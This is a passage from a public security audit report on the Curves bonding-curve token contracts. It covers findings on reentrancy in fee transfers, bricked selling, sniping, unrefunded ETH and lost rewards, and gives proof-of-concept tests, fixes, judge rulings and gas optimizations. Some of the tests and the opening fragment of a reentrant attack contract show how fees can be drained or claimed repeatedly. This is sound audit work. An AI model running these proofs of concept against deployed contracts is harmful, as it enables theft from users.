                holderFeeClaimOn = false;
            } 

            uint mintAmount = curves.curvesTokenBalance(address(CREATOR), address(this));
            if(mintAmount > 1) curves.withdraw(address(CREATOR), mintAmount - 1); // mintAmount tokens locking again, after claiming
        }
    }

Tools Used

Forge testing.

Recommended Mitigation Steps

Since this attack is possible for both subjects and referrers, mitigate as recommended below. Use transfer, instead of call on subject/referral fee transfers, so that only 2300 units of gas is alloted when receiving, and is not possible to perform any reentrancy attack.

Or, implement Reentrancy guard from openzeppelin library.

function _transferFees(
        address curvesTokenSubject,
        bool isBuy,
        uint256 price,
        uint256 ,
        uint256 
    ) internal {
        (uint256 protocolFee, uint256 subjectFee, uint256 referralFee, uint256 holderFee, ) = getFees(price);
        {
            bool referralDefined = referralFeeDestination[curvesTokenSubject] != address(0);
            {
                address firstDestination = isBuy ? feesEconomics.protocolFeeDestination : msg.sender;
                uint256 buyValue = referralDefined ? protocolFee : protocolFee + referralFee;
                uint256 sellValue = price - protocolFee - subjectFee - referralFee - holderFee;
                (bool success1, ) = firstDestination.call{value: isBuy ? buyValue : sellValue}("");
                if (!success1) revert CannotSendFunds();
            }
            {
-               (bool success2, ) = curvesTokenSubject.call{value: subjectFee}("");
-               if (!success2) revert CannotSendFunds();
+               payable(curvesTokenSubject).transfer(subjectFee);
            }
            {
-               (bool success3, ) = referralDefined
-                   ? referralFeeDestination[curvesTokenSubject].call{value: referralFee}("")
-                   : (true, bytes(""));
-               if (!success3) revert CannotSendFunds();
+               if(referralDefined) payable(referralFeeDestination[curvesTokenSubject]).transfer(referralFee);
            }

            if (feesEconomics.holdersFeePercent > 0 && address(feeRedistributor) != address(0)) {
                feeRedistributor.onBalanceChange(curvesTokenSubject, msg.sender);
                feeRedistributor.addFees{value: holderFee}(curvesTokenSubject);
            }
        }
    }

raymondfam (Lookout) commented:

data.userFeeOffset[account] = data.cumulativeFeePerToken will take care of it when updateFeeCredit() is triggered in claimFees(). You can only do it once.

alcueca (Judge) decreased severity to Medium and commented:

You can do it once per buy/sell cycle, as I understand. Issues related to loss of fees, and not loss of principal, are Medium.

andresaiello (Curves) confirmed

[M-07] Selling will be bricked if all other tokens are withdrawn to ERC20 token

Submitted by BowTiedOriole, also found by d3e4, McToady, slylandro_star, 0xmystery, ether_sky, amaechieth, 0xPhantom, wangxx2026, nuthan2x, zxriptor, Bobface, Krace, hals, cats, EV_om, and AlexCzm

https://github.com/code-423n4/2024-01-curves/blob/main/contracts/FeeSplitter.sol#L90

https://github.com/code-423n4/2024-01-curves/blob/main/contracts/FeeSplitter.sol#L43-L46

https://github.com/code-423n4/2024-01-curves/blob/main/contracts/Curves.sol#L248

FeeSplitter.addFees() reverts if the totalSupply of the token is 0. The total supply is calculated via the formula below:

return (curves.curvesTokenSupply(token) - curves.curvesTokenBalance(token, address(curves))) * PRECISION;

Consider the following scenario:

Alice buys 1 Curve token to initiate herself as a token subject and withdraws her token to ERC20.
Bob buys 1 Curve token.
Charlie buys 10 Curve tokens and immediately withdraws all of them to the ERC20 contract.
Bob tries to sell 1 Curve token but is not able to because all other tokens are ERC20.

Bob’s transaction will revert because FeeSplitter.totalSupply() will return 0.

Proof of Concept

it("Selling can be bricked if all other tokens are in ERC20 contract", async () => {
    await testContract.setMaxFeePercent(parseEther('.4'));
    await testContract.setProtocolFeePercent(parseEther('.1'), owner.address);
    await testContract.setExternalFeePercent(parseEther('.1'), parseEther('.1'), parseEther('.1'));

    await testContract.buyCurvesToken(owner.address, 1);
    await testContract.connect(owner).withdraw(owner.address, 1);

    await testContract.connect(friend).buyCurvesToken(owner.address, 1, { value: parseEther("1")});
    await testContract.connect(friend2).buyCurvesToken(owner.address, 5, { value: parseEther("1")});
    await testContract.connect(friend2).withdraw(owner.address, 5);

    await expect(testContract.connect(friend).sellCurvesToken(owner.address, 1)).to.be.revertedWith("NoTokenHolders()");
});

Recommended Mitigation Steps

Check if the Curve contract balance matches the total supply, and if so, send the holder fee to the protocol.

if (curvesTokenSupply[curvesTokenSubject] == curvesTokenBalance[curvesTokenSubject][address(this)]) {
    (bool success, ) = feesEconomics.protocolFeeDestination.call{value: holderFee}("");
    if (!success) revert CannotSendFunds();
} else {
    feeRedistributor.onBalanceChange(curvesTokenSubject, msg.sender);
    feeRedistributor.addFees{value: holderFee}(curvesTokenSubject);
}

Alternatively, you can call _transferFees prior to updating token balances and supply, but this will require reentrancy guards as well as other adjustments to the fee calculations.

andresaiello (Curves) confirmed

[M-08] Single token purchase restriction on curve creation enables sniping

Submitted by EV_om, also found by mrudenko, McToady, adamn000, M3azad (1, 2), burhan_khaja, bengyles, matejdb, jesjupyter, 13u9, wangxx2026, pipidu83, erosjohn, eeshenggoh, lukejohn, aslanbek (1, 2), twcctop, KingNFT, and Daniel526

The getPrice() function in the Curves contract is used to calculate the price of tokens when buying or selling. However, due to the order of arguments in the sum2 calculation within this function, subjects are restricted to buying only one token when initializing their curve.

The issue arises from the expression (supply - 1 + amount), which reverts when supply is greater than 1. However, if the expression was (supply + amount - 1), this issue would not occur. This restriction limits the functionality of the contract and makes it vulnerable to sniping on initialization and first-purchase frontrunning. This issue has spawned a small industry around friend.tech, with different companies offering sniping bots that can make instant automatic first purchases for accounts associated with a sizeable social media presence.

function getPrice(uint256 supply, uint256 amount) public pure returns (uint256) {    
	uint256 sum1 = supply == 0 ? 0 : ((supply - 1) * (supply) * (2 * (supply - 1) + 1)) / 6;
    uint256 sum2 = supply == 0 && amount == 1
        ? 0
        : ((supply - 1 + amount) * (supply + amount) * (2 * (supply - 1 + amount) + 1)) / 6;
    ...
}

Although, the issue can be mitigated in the Curves implementation by the curve subject opening a presale, it is still present for curves initialized without presale.

Proof of Concept

A user with a large social media following wants to initialize a curve and buy the first 10 tokens for future use, possibly for an airdrop to her followers.
She does not want to create a presale and instead initializes the curve directly via buyCurvesToken().
As soon as the curve is initialized, automated sniping bots start buying large numbers of tokens.
She is now forced to purchase the tokens at a much higher price and may incur losses from bots realizing their profits.

Recommended Mitigation Steps

To resolve this issue, the order of arguments in the sum2 calculation within the getPrice() function should be adjusted. Instead of (supply - 1 + amount), the expression should be (supply + amount - 1). This change will allow subjects to buy more than one token when initializing their curve, enhancing the contract’s functionality and protecting the users.

andresaiello (Curves) disputed via duplicate Issue #44 and commented:

Reverts in the price calculation.

alcueca (Judge) commented:

I’m not convinced that the purpose of the presales functionality is to allow the token subject to create a presale for himself just so that he can buy more than one token (and then not being able to have a presale for other users).

If the token subject would choose to do a regular presale, using the regular community mechanisms from the NFT era, how would they ensure that they don’t get a sniping bot registered for the presale?

The team might have intended to solve the issues with frontrunners, but to me it doesn’t seem they succeeded.

Note: For full discussion, see here.

[M-09] `Curves::_buyCurvesToken()`, Excess of Eth received is not refunded back to the user.

Submitted by ravikiranweb3, also found by btk, ether_sky (1, 2), 0xprinc (1, 2), pkqs90, cats, cartlex_, nuthan2x, pep7siup (1, 2), Prathik3, MrPotatoMagic (1, 2), Kose, peanuts, 0xmystery (1, 2), Ephraim, m4ttm, spark, 0xStriker, emrekocak, SanketKogekar, Bjorn_bug, LeoGold, 0xlamide (1, 2), c3phas, imare, PetarTolev, anshujalan, M3azad, spaghetticode_sentinel, Nikki, Timeless, Varun_05, negin, ro1sharkm, Night, tonisives, hihen, Zach_166, kodyvim, cu5t0mpeo, FastChecker, yixxas, Ryonen, nonseodion, ubermensch, Tychai0s, Silvermist, codegpt, grearlake, rouhsamad (1, 2), Cosine, HChang26, _eperezok, 0xblackskull, para8956, 13u9, Kong, dd0x7e8, iamandreiski, ubl4nk (1, 2), pipidu83, mahdirostami, merlinboii, dopeflamingo, oreztker, osmanozdemir1, sl1, DarkTower, Kaysoft, UbiquitousComputing, zhaojohnson, 0xSwahili, eeshenggoh, dimulski, SovaSlava, BowTiedOriole, developerjordy, zaevlad, Lef, KmanOfficial, latt1ce, KupiaSec, jasonxiale, hals (1, 2), Mwendwa, aslanbek, ke1caM, ZanyBonzy, EV_om, cccz, bronze_pickaxe, Oxsadeeq, ktg, twcctop, deepplus, Inference, Soliditors, lil_eth (1, 2), Mylifechangefast_eth, AlexCzm, haxatron, and alexbabits

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L211-L216

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L263-L280

In the buyCurvesToken(), the logic check for the msg.value to be greater than price + fees. This is fine, since if the price moves after the estimates was provided to the user, the above validation checks if the funds received are sufficient to proceed with the transaction.

But, at the same time, it is equally important to refund any excess eth received which is not being done.

Proof of Concept

Refer to the below code where the validation ensures that msg.value is not less than price + total fee.

   if (msg.value < price + totalFee) revert InsufficientPayment();

But, incase any additional funds were received, the same should be returned back to the caller.

Recommended Mitigation Steps

uint256 excess = msg.value - (price + totalFee); if excess > 0, refund the amount back to the caller.

andresaiello (Curves) confirmed, but disagreed with severity and commented:

Valid but not high severity. Friend tech does not refund in fact.

alcueca (Judge) decreased severity to Medium

[M-10] `onBalanceChange` causes previously unclaimed rewards to be cleared

Submitted by kutugu, also found by 0xMAKEOUTHILL, pkqs90 (1, 2), zxriptor, visualbits, d3e4, Tychai0s, peritoflores, 0x0bserver, kuprum, xiao, dimulski, McToady, SovaSlava, Aymen0909, anshujalan, Zach_166, rouhsamad, Kose, 0xAadi, nonseodion, nazirite, Soul22, TermoHash, ether_sky (1, 2, 3), whoismatthewmc1, 0xmystery (1, 2, 3), HChang26, FastChecker, jacopod, AgileJune, matejdb (1, 2), ubermensch, Mike_Bello90 (1, 2), btk, Varun_05, santipu_, 0xPhantom, DarkTower, codegpt, sl1, KingNFT, almurhasan, erosjohn, Cosine, zhaojie, Topmark, dd0x7e8, UbiquitousComputing, Lalanda, mahdirostami, XORs33r, PENGUN, jasonxiale, pep7siup, lukejohn (1, 2, 3), dopeflamingo, osmanozdemir1, spacelord47, 0xLogos, fishgang (1, 2), alexfilippov314, SpicyMeatball, DanielArmstrong, zhaojohnson, aslanbek, hals, BowTiedOriole, Bobface, wangxx2026, nmirchev8, L0s1, KupiaSec, Oxsadeeq, BugzyVonBuggernaut, klau5, ke1caM, Soliditors, ZanyBonzy, EV_om, 0x111, cccz, bronze_pickaxe, Stormreckson, twcctop, deepplus, Inference (1, 2), AlexCzm, alexbabits, Kow, rvierdiiev, AS, Krace, and haxatron (1, 2)

onBalanceChange does not help to claim the previous rewards, but directly resets userFeeOffset, causing the user’s unclaimed rewards to be cleared.

Proof of Concept

    function testRewardLostAfterTwoPurchases1() public {
        curves.buyCurvesTokenWithName(address(this), 1, "", "");

        address attacker = makeAddr("Attacker");
        vm.deal(attacker, 1 ether);
        vm.startPrank(attacker);
        curves.buyCurvesToken{value: curves.getBuyPriceAfterFee(address(this), 1)}(address(this), 1);
        console2.log(feeRedistributor.getClaimableFees(address(this), attacker));
        curves.buyCurvesToken{value: curves.getBuyPriceAfterFee(address(this), 1)}(address(this), 1);
        console2.log(feeRedistributor.getClaimableFees(address(this), attacker));
    }

    function testRewardLostAfterTwoPurchases2() public {
        curves.buyCurvesTokenWithName(address(this), 1, "", "");

        address attacker = makeAddr("Attacker");
        vm.deal(attacker, 1 ether);
        vm.startPrank(attacker);
        curves.buyCurvesToken{value: curves.getBuyPriceAfterFee(address(this), 1)}(address(this), 1);
        uint256 fee1 = feeRedistributor.getClaimableFees(address(this), attacker);
        console2.log(fee1);
        feeRedistributor.claimFees(address(this));
        curves.buyCurvesToken{value: curves.getBuyPriceAfterFee(address(this), 1)}(address(this), 1);
        console2.log(fee1 + feeRedistributor.getClaimableFees(address(this), attacker));
    }

forge test --match-test testRewardLostAfterTwoPurchases -vvv

[PASS] testRewardLostAfterTwoPurchases1() (gas: 1287980)
Logs:
  3125000000000
  16666666666666

[PASS] testRewardLostAfterTwoPurchases2() (gas: 1303337)
Logs:
  3125000000000
  19791666666666

The above POC shows that when a user purchases the same token twice, the first reward is cleared.

Tools Used

Foundry

Recommended Mitigation Steps

onBalanceChange should claim the previous rewards, and then resets userFeeOffset:

diff --git a/contracts/FeeSplitter.sol b/contracts/FeeSplitter.sol
index bb24f02..9751902 100644
--- a/contracts/FeeSplitter.sol
+++ b/contracts/FeeSplitter.sol
@@ -66,8 +66,8 @@ contract FeeSplitter is Security {
         if (balance > 0) {
             uint256 owed = (data.cumulativeFeePerToken - data.userFeeOffset[account]) * balance;
             data.unclaimedFees[account] += owed / PRECISION;
-            data.userFeeOffset[account] = data.cumulativeFeePerToken;
         }
+        data.userFeeOffset[account] = data.cumulativeFeePerToken;
     }
 
     function getClaimableFees(address token, address account) public view returns (uint256) {
@@ -94,8 +94,7 @@ contract FeeSplitter is Security {
     }
 
     function onBalanceChange(address token, address account) public onlyManager {
-        TokenData storage data = tokensData[token];
-        data.userFeeOffset[account] = data.cumulativeFeePerToken;
+        updateFeeCredit(token, account);
         if (balanceOf(token, account) > 0) userTokens[account].push(token);
     }

andresaiello (Curves) confirmed

alcueca (Judge) decreased severity to Medium and commented:

Loss of fees or rewards is Medium.

Low Risk and Non-Critical Issues

For this audit, 113 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by 0xmystery received the top score from the judge.

The following wardens also submitted reports: mrudenko, cheatc0d3, 0xStriker, McToady, DarkTower, XORs33r, MrPotatoMagic, grearlake, slvDev, 7ashraf, ether_sky, 0xStalin, 0xGreyWolf, erebus, lsaudit, btk, 0x111, Prathik3, Cosine, _eperezok, UbiquitousComputing, jasonxiale, merlinboii, osmanozdemir1, dd0x7e8, alexfilippov314, lukejohn, klau5, peanuts, m4ttm, John_Femi, fouzantanveer, 0xepley, ahmedaghadi, adeolu, Nachoxt17, d3e4, jatin_19, Josephdara_0xTiwa, mitev, karanctf, Nikki, Kose, ptsanev, Faith, imare, kiki, Aymen0909, spaghetticode_sentinel, JayShreeRAM, FastChecker, 0xhashiman, slylandro_star, hihen, 0xmuxyz, whoismatthewmc1, jacopod, Ryonen, Draiakoo, LeoGold, dimulski, opposingmonkey, polarzero, santipu_, 0xc0ffEE, almurhasan, jesjupyter, codegpt, sl1, DanielArmstrong, 0xE1, 0xprinc, zhaojie, ktg, hals, amaechieth, khramov, para8956, Shubham, Lalanda, Topmark, 0xfave, n1punp, pep7siup, spacelord47, danb, mahdirostami, nuthan2x, jovemjeune, zhaojohnson, 0xSwahili, cartlex_, SovaSlava, SpicyMeatball, Soliditors, BowTiedOriole, zaevlad, KmanOfficial, Bobface, KupiaSec, cats, developerjordy, Oxsadeeq, pkqs90, twcctop, deepplus, Inference, lil_eth, 0xMAKEOUTHILL, israeladelaja, ziyou-, and Tigerfrake.

[L-01] Deposit Function and ERC20 Token Management

Curves.deposit() enforces a condition that only whole numbers of Ether can be deposited, potentially complicating the user experience in ERC20 token management. This restriction, aimed at simplifying internal accounting, might not align well with common cryptocurrency practices where fractional token ownership is standard. Users who trade or transact with these tokens may face challenges when redepositing fractional amounts back into the contract. This would mean amount % 1 ether would mandate up to 0.9999… ETH worth of external token non-depositable for a user. Balancing contract simplicity with user convenience and market norms is crucial for optimal functionality and user satisfaction.

https://github.com/code-423n4/2024-01-curves/blob/main/contracts/Curves.sol#L490-L491

    function deposit(address curvesTokenSubject, uint256 amount) public {
        if (amount % 1 ether != 0) revert NonIntegerDepositAmount();

[L-02] Optimizing Fee Calculation to Minimize Rounding Errors

In Curves.getFees(), the current methodology calculates each fee component (protocolFee, subjectFee, referralFee, holdersFee) separately from the transaction price, leading to potential rounding errors due to Solidity’s integer arithmetic. An alternative approach, where the totalFee is calculated first as a cumulative percentage of the price, and then protocolFee is derived by subtracting other fees from totalFee, could reduce these rounding discrepancies. The key is to align the method with the contract’s fee structure while ensuring precision, especially important in financial transactions where even minimal rounding errors can accumulate significantly over time.

https://github.com/code-423n4/2024-01-curves/blob/main/contracts/Curves.sol#L173-L177

        protocolFee = (price * feesEconomics.protocolFeePercent) / 1 ether;
        subjectFee = (price * feesEconomics.subjectFeePercent) / 1 ether;
        referralFee = (price * feesEconomics.referralFeePercent) / 1 ether;
        holdersFee = (price * feesEconomics.holdersFeePercent) / 1 ether;
        totalFee = protocolFee + subjectFee + referralFee + holdersFee;

[L-03] Essential Recovery Function for Exported ERC20 Tokens in the Curves Protocol

Implementing a recovery function for exported ERC20 tokens in the Curves smart contract is critical for maintaining the integrity of its ecosystem, where the ERC20 token supply must precisely mirror the value locked within the protocol, as highlighted by the protocol in the readme section:

“For any token associated with Curves, it’s imperative that the total ERC20 supply remains exactly equivalent to the value locked within the Curves protocol. This one-to-one correspondence ensures consistency and integrity between the ERC20 tokens in circulation and the underlying assets within the Curves ecosystem.”

This function addresses the risk of accidental token deposits, ensuring the protocol’s balance and consistency. It necessitates strict access control, comprehensive testing, and transparency to maintain user trust and prevent unauthorized access. This feature not only acts as a safeguard against user errors but also reinforces the reliability and stability of the Curves protocol, ensuring that the total ERC20 supply accurately reflects the underlying assets, thus upholding the ecosystem’s integrity and trustworthiness.

Here’s a suggested fix that will have a side benefit of retrieving any other non-exported ERC20 tokens if need be:

import {IERC20} from '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import {SafeERC20} from '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol';

using SafeERC20 for IERC20;

    function recoverERC20(address token_, uint256 amount, address recipient) external onlyOwner {
        if (amount > 0) {
            IERC20(token_).safeTransfer(recipient, amount);
            emit ERC20Recovered(token_, amount);
        }
    }

[L-04] Implementing a Modifier for `updateFeeCredit` function

With numerous vulnerabilities needing updateFeeCredit() to be called pre or post critical functions I have reported separately, I suggest the protocol introduce two separate modifiers in Security.sol as follows:

This will concern Curves._buyCurvesToken(), Curves.sellCurvesToken(), Curves.withdraw(), and FeeSplitteronBalanceChange():

    modifier preUpdateFeeCredit(address token, address account) {
        feeRedistributor.updateFeeCredit(token, account);
        _;
    }

This will concern Curves.deposit():

    modifier postUpdateFeeCredit(address token, address account) {
        _;
        feeRedistributor.updateFeeCredit(token, account);
    }

[L-05] ETH Liquidity Challenges in Curves.sol

In the realm of decentralized finance, the design of smart contracts plays a pivotal role in maintaining market stability and user trust. A crucial aspect of this design is ensuring adequate liquidity, particularly in scenarios where there’s a surge in selling activity. Contracts that solely rely on token purchases as their ETH source:

https://github.com/code-423n4/2024-01-curves/blob/main/contracts/Curves.sol#L211

    function buyCurvesToken(address curvesTokenSubject, uint256 amount) public payable {

https://github.com/code-423n4/2024-01-curves/blob/main/contracts/Curves.sol#L369

    ) public payable {

https://github.com/code-423n4/2024-01-curves/blob/main/contracts/Curves.sol#L383

    ) public payable onlyTokenSubject(curvesTokenSubject) {

https://github.com/code-423n4/2024-01-curves/blob/main/contracts/Curves.sol#L408

    ) public payable {

May face challenges in fulfilling sell orders if the demand to sell surpasses the available ETH, leading to potential liquidity crises.

Apparently, the quadratic bonding formula might not guarantee a zero sum game, i.e. the gain of users buying low and selling high exactly matches the loss of users buying high and selling low. This could lead to tapping into ETH reserve belonging to other Curves token subjects which should not be the intended design/purpose.

This situation underscores the importance of incorporating diverse mechanisms such as external ETH funding sources, reserve pools, or dynamic pricing models to safeguard against liquidity shortages. Such proactive measures in smart contract design not only enhance the robustness of the financial ecosystem but also bolster user confidence, ensuring a smoother and more reliable trading experience.

[NC-01] Optimizing the `_buyCurvesToken` Function for Efficiency and Clarity

Introducing an if block in Curves._buyCurvesToken() to check if supply is non-zero before executing getPrice() and getFees() could significantly enhance transaction efficiency and align with the contract’s design of offering a free initial token purchase.

https://github.com/code-423n4/2024-01-curves/blob/main/contracts/Curves.sol#L267-L268

+    uint256 price;
+    if (supply != 0) {
-        uint256 price = getPrice(supply, amount);
+        price = getPrice(supply, amount);
        (, , , , uint256 totalFee) = getFees(price);
+    }

[NC-02] Efficiency Enhancement in Token Transfer Logic

In the Curves smart contract, a proposed optimization for the _transfer function has been identified, aimed at enhancing efficiency and state management. This improvement involves modifying the token transfer logic to invoke the _addOwnedCurvesTokenSubject function only when a recipient is receiving a specific token type for the first time. By checking if the recipient’s balance of the token in question equals the amount being transferred (indicating they previously held none), the function can conditionally update the ownedCurvesTokenSubjects list. This change not only prevents redundant list additions, but also ensures cleaner and more accurate tracking of unique token holders. It’s a strategic update that aligns with best practices in smart contract development, emphasizing efficiency and precise state management.

https://github.com/code-423n4/2024-01-curves/blob/main/contracts/Curves.sol#L313-L319

    function _transfer(address curvesTokenSubject, address from, address to, uint256 amount) internal {
        if (amount > curvesTokenBalance[curvesTokenSubject][from]) revert InsufficientBalance();

        // If transferring from oneself, skip adding to the list
        if (from != to) {
+            if (curvesTokenBalance[curvesTokenSubject][to] == 0) { 
                _addOwnedCurvesTokenSubject(to, curvesTokenSubject);
+            }
        }

[NC-03] Activate the optimizer

Before deploying your contract, activate the optimizer when compiling using “solc —optimize —bin sourceFile.sol”. By default, the optimizer will optimize the contract assuming it is called 200 times across its lifetime. If you want the initial contract deployment to be cheaper and the later function executions to be more expensive, set it to “ —optimize-runs=1”. Conversely, if you expect many transactions and do not care for higher deployment cost and output size, set “—optimize-runs” to a high number.

module.exports = {
solidity: {
version: "0.8.7",
settings: {
 optimizer: {
   enabled: true,
   runs: 1000,
 },
},
},
};

Please visit this site for further information.

Here’s one example of instance on opcode comparison that delineates the gas saving mechanism:

for !=0 before optimization
PUSH1 0x00
DUP2
EQ
ISZERO
PUSH1 [cont offset]
JUMPI

after optimization
DUP1
PUSH1 [revert offset]
JUMPI

Disclaimer: There have been several bugs with security implications related to optimizations. For this reason, Solidity compiler optimizations are disabled by default, and it is unclear how many contracts in the wild actually use them. Therefore, it is unclear how well they are being tested and exercised. High-severity security issues due to optimization bugs have occurred in the past . A high-severity bug in the emscripten -generated solc-js compiler used by Truffle and Remix persisted until late 2018. The fix for this bug was not reported in the Solidity CHANGELOG. Another high-severity optimization bug resulting in incorrect bit shift results was patched in Solidity 0.5.6. Please measure the gas savings from optimizations, and carefully weigh them against the possibility of an optimization-related bug. Also, monitor the development and adoption of Solidity compiler optimizations to assess their maturity.

Gas Optimizations

For this audit, 23 reports were submitted by wardens detailing gas optimizations. The report highlighted below by c3phas received the top score from the judge.

The following wardens also submitted reports: 0x11singh99, SY_S, SAQ, shamsulhaq123, Raihan, JCK, slvDev, dharma09, hunter_w3b, 0xAnah, MrPotatoMagic, ahmedaghadi, mgf15, naman1778, sivanesh_808, lsaudit, 0xta, 0xhex, Cosine, K42, UbiquitousComputing, and Sathish9098.

Auditor’s Disclaimer

While we try our best to maintain readability in the provided code snippets, some functions have been truncated to highlight the affected portions.

It’s important to note that during the implementation of these suggested changes, developers must exercise caution to avoid introducing vulnerabilities. Although the optimizations have been tested prior to these recommendations, it is the responsibility of the developers to conduct thorough testing again.

Code reviews and additional testing are strongly advised to minimize any potential risks associated with the refactoring process.

Codebase Impressions

The developers have done an excellent job of identifying and implementing some of the most evident optimizations. However, we have identified additional areas where optimization is possible, some of which may not be immediately apparent. Most of this optimizations are not the usually pattern matching findings, the are very specific to this codebase.

[G-01] Avoid making similar state reads due to how functions are called (Savea 3320 Gas on average)

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L80-L87

	Min	Max	Avg
Before	-	-	77744
After	-	-	74424

File: /contracts/FeeSplitter.sol
80:    function claimFees(address token) external {
81:        updateFeeCredit(token, msg.sender);
82:        uint256 claimable = getClaimableFees(token, msg.sender);
83:        if (claimable == 0) revert NoFeesToClaim();
84:        tokensData[token].unclaimedFees[msg.sender] = 0;
85:        payable(msg.sender).transfer(claimable);
86:        emit FeesClaimed(token, msg.sender, claimable);
87:    }

The function claimFees makes two function calls to updateFeeCredit(token, msg.sender) and getClaimableFees(token, msg.sender) that are implemented as follows

updateFeeCredit()

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L63-L71

File: /contracts/FeeSplitter.sol
63:    function updateFeeCredit(address token, address account) internal {
64:        TokenData storage data = tokensData[token];
65:        uint256 balance = balanceOf(token, account);
66:        if (balance > 0) {
67:            uint256 owed = (data.cumulativeFeePerToken - data.userFeeOffset[account]) * balance;
68:            data.unclaimedFees[account] += owed / PRECISION;
69:            data.userFeeOffset[account] = data.cumulativeFeePerToken;
70:        }
71:    }

getClaimableFees()

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L73-L78

File: /contracts/FeeSplitter.sol
73:    function getClaimableFees(address token, address account) public view returns (uint256) {
74:        TokenData storage data = tokensData[token];
75:        uint256 balance = balanceOf(token, account);
76:        uint256 owed = (data.cumulativeFeePerToken - data.userFeeOffset[account]) * balance;
77:        return (owed / PRECISION) + data.unclaimedFees[account];
78:    }

The two functions are making two similar calls, one being a state read TokenData storage data = tokensData[token] and the other a function call to balanceOf(token, account) This essentially means, when the function claimFees() is called, we end up making unnecessary calls . We can avoid making this similar calls by combining the implementations into one and using it directly inside the claimFees() function.

     function claimFees(address token) external {
-        updateFeeCredit(token, msg.sender);
-        uint256 claimable = getClaimableFees(token, msg.sender);
+        TokenData storage data = tokensData[token];
+        uint256 balance = balanceOf(token, msg.sender);
+        if (balance > 0) {
+            uint256 owed = (data.cumulativeFeePerToken - data.userFeeOffset[msg.sender]) * balance;
+            data.unclaimedFees[msg.sender] += owed / PRECISION;
+            data.userFeeOffset[msg.sender] = data.cumulativeFeePerToken;
+        }
+        uint256 owed_ = (data.cumulativeFeePerToken - data.userFeeOffset[msg.sender]) * balance;
+        uint256 claimable = (owed_ / PRECISION) + data.unclaimedFees[msg.sender];
         if (claimable == 0) revert NoFeesToClaim();
         tokensData[token].unclaimedFees[msg.sender] = 0;
         payable(msg.sender).transfer(claimable);

[G-02] Refactor function mint to only do stores if token is not minted already

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L439-L454

File: /contracts/Curves.sol

439:    function mint(address curvesTokenSubject) external onlyTokenSubject(curvesTokenSubject) {
440:        if (
441:        keccak256(abi.encodePacked(externalCurvesTokens[curvesTokenSubject].name)) ==
442:            keccak256(abi.encodePacked("")) ||        443:keccak256(abi.encodePacked(externalCurvesTokens[curvesTokenSubject].symbol)) ==
444:            keccak256(abi.encodePacked(""))
445:        ) {
446:            externalCurvesTokens[curvesTokenSubject].name = DEFAULT_NAME;
447:            externalCurvesTokens[curvesTokenSubject].symbol = DEFAULT_SYMBOL;
448:        }
449:        _mint(
450:            curvesTokenSubject,
451:            externalCurvesTokens[curvesTokenSubject].name,
452:            externalCurvesTokens[curvesTokenSubject].symbol
453:        );
454:    }

The function mint() starts of by checking for empty name and symbol and assigning them if they are empty. We then call _mint() passing the args from the function mint Function _mint() first checks if the token we intend to mint is already minted and reverts if so. We check this by checking externalCurvesTokens[curvesTokenSubject].token != address(0) see the implementation of _mint()

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L456-L463

    function _mint(
        address curvesTokenSubject,
        string memory name,
        string memory symbol
    ) internal onlyTokenSubject(curvesTokenSubject) {
        if (externalCurvesTokens[curvesTokenSubject].token != address(0)) revert ERC20TokenAlreadyMinted();
        _deployERC20(curvesTokenSubject, name, symbol);
    }

Instead of doing all those SSTORES and end up reverting on the check in _mint ,we can move the check for alreadyMinted to the function mint() and just to avoid messing with any other function that might require to use _mint we can move the _deployERC20(curvesTokenSubject, name, symbol) call to the main function. The function mint() should first check if the token is minted.

     function mint(address curvesTokenSubject) external onlyTokenSubject(curvesTokenSubject) {
+        if (externalCurvesTokens[curvesTokenSubject].token != address(0)) revert ERC20TokenAlreadyMinted();
+
         if (
             keccak256(abi.encodePacked(externalCurvesTokens[curvesTokenSubject].name)) ==
             keccak256(abi.encodePacked("")) ||
@@ -446,11 +448,7 @@ contract Curves is CurvesErrors, Security {
             externalCurvesTokens[curvesTokenSubject].name = DEFAULT_NAME;
             externalCurvesTokens[curvesTokenSubject].symbol = DEFAULT_SYMBOL;
         }
-        _mint(
-            curvesTokenSubject,
-            externalCurvesTokens[curvesTokenSubject].name,
-            externalCurvesTokens[curvesTokenSubject].symbol
-        );
+        _deployERC20(curvesTokenSubject, externalCurvesTokens[curvesTokenSubject].name, externalCurvesTokens[curvesTokenSubject].symbol);
     }

[G-03] First token bought should be added directly to the list of owned tokens when using function `_buyCurvesToken`

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L263-L280

File: /contracts/Curves.sol
263:    function _buyCurvesToken(address curvesTokenSubject, uint256 amount) internal {
264:        uint256 supply = curvesTokenSupply[curvesTokenSubject];
265:        if (!(supply > 0 || curvesTokenSubject == msg.sender)) revert UnauthorizedCurvesTokenSubject();

272:        curvesTokenBalance[curvesTokenSubject][msg.sender] += amount;

276:        // If is the first token bought, add to the list of owned tokens
277:        if (curvesTokenBalance[curvesTokenSubject][msg.sender] - amount == 0) {
278:            _addOwnedCurvesTokenSubject(msg.sender, curvesTokenSubject);
279:        }
280:    }

When someone buys the token, we check if it’s the first token they have bought and if so we add it to the list of owned tokens. We do this by calling an internal function _addOwnedCurvesTokenSubject(), which is implemented as follows:

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L327-L336

    // Internal function to add a curvesTokenSubject to the list if not already present
    function _addOwnedCurvesTokenSubject(address owner_, address curvesTokenSubject) internal {
        address[] storage subjects = ownedCurvesTokenSubjects[owner_];
        for (uint256 i = 0; i < subjects.length; i++) {
            if (subjects[i] == curvesTokenSubject) {
                return;
            }
        }
